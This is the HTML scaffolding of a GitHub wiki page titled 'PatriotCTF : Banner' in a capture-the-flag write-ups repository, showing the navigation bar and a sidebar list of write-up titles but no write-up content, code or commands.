<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> not1cyyy </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>7</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/not1cyyy/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4 page" id="wiki-wrapper"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title">PatriotCTF : Banner</h1>
<div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> Jump to bottom
</div> </div>
<div class="mt-2 mt-md-1 pb-3 gh-header-meta"> Firas Chaib edited this page <relative-time datetime="2022-05-17T21:47:12Z" class="no-wrap">May 17, 2022</relative-time> · 1 revision </div>
<div id="wiki-content" class="mt-4"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-end Layout--sidebarPosition-flowRow-end"> <div data-view-component="true" class="Layout-sidebar"> <div class="wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed color-shadow-small"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none"> <path d="m6.427 4.427 3.396 3.396a.25.25 0 0 1 0 .354l-3.396 3.396A.25.25 0 0 1 6 11.396V4.604a.25.25 0 0 1 .427-.177Z"></path></svg> Pages <span>14</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a page…" aria-label="Find a page…"> </div>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Home</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Home/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> GDG Algiers CTF : franklin last words</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/GDG-Algiers-CTF-:-franklin-last-words/_toc"> </include-fragment></details>
<details class="details-reset" open> <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron js-wiki-sidebar-toc-toggle-chevron-open mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : Banner</span> </div> </summary>
Description Hints Files Solution Recon Execution Flag
</details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PatriotCTF : CoruptAAAAd</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PatriotCTF-:-CoruptAAAAd/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Eavesdrop</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Eavesdrop/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Operation Oni</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Operation-Oni/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Sleuthkit Apprentice</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Sleuthkit-Apprentice/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : st3g0</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-st3g0/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> PicoCTF : Transposition Trial</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/PicoCTF-:-Transposition-Trial/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Easy Crypto Challenge</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Easy-Crypto-Challenge/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Information Paradox</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Information-Paradox/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Invisible Stargate</span> </div> </summary>
<include-fragment class="js-wiki-sidebar-toc-fragment" loading="lazy" src="https://github.com/not1cyyy/CTF-Writeups/wiki/Space-Heroes-CTF-:-Invisible-Stargate/_toc"> </include-fragment></details>
<details class="details-reset" > <summary> <div class="d-flex flex-items-start"> <div class="p-2 mt-n1 mb-n1 ml-n1 btn btn-octicon js-wiki-sidebar-toc-toggle-chevron-button "> <svg hidden="hidden" style="box-sizing: content-box; color: var(--color-icon-primary);" width="16" height="16" viewBox="0 0 16 16" fill="none" data-view-component="true" class="js-wiki-sidebar-toc-spinner mr-0 v-align-text-bottom anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down js-wiki-sidebar-toc-toggle-chevron mr-0"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg> </div> <span> Space Heroes CTF : Off The Grid</span> </div> </summary>
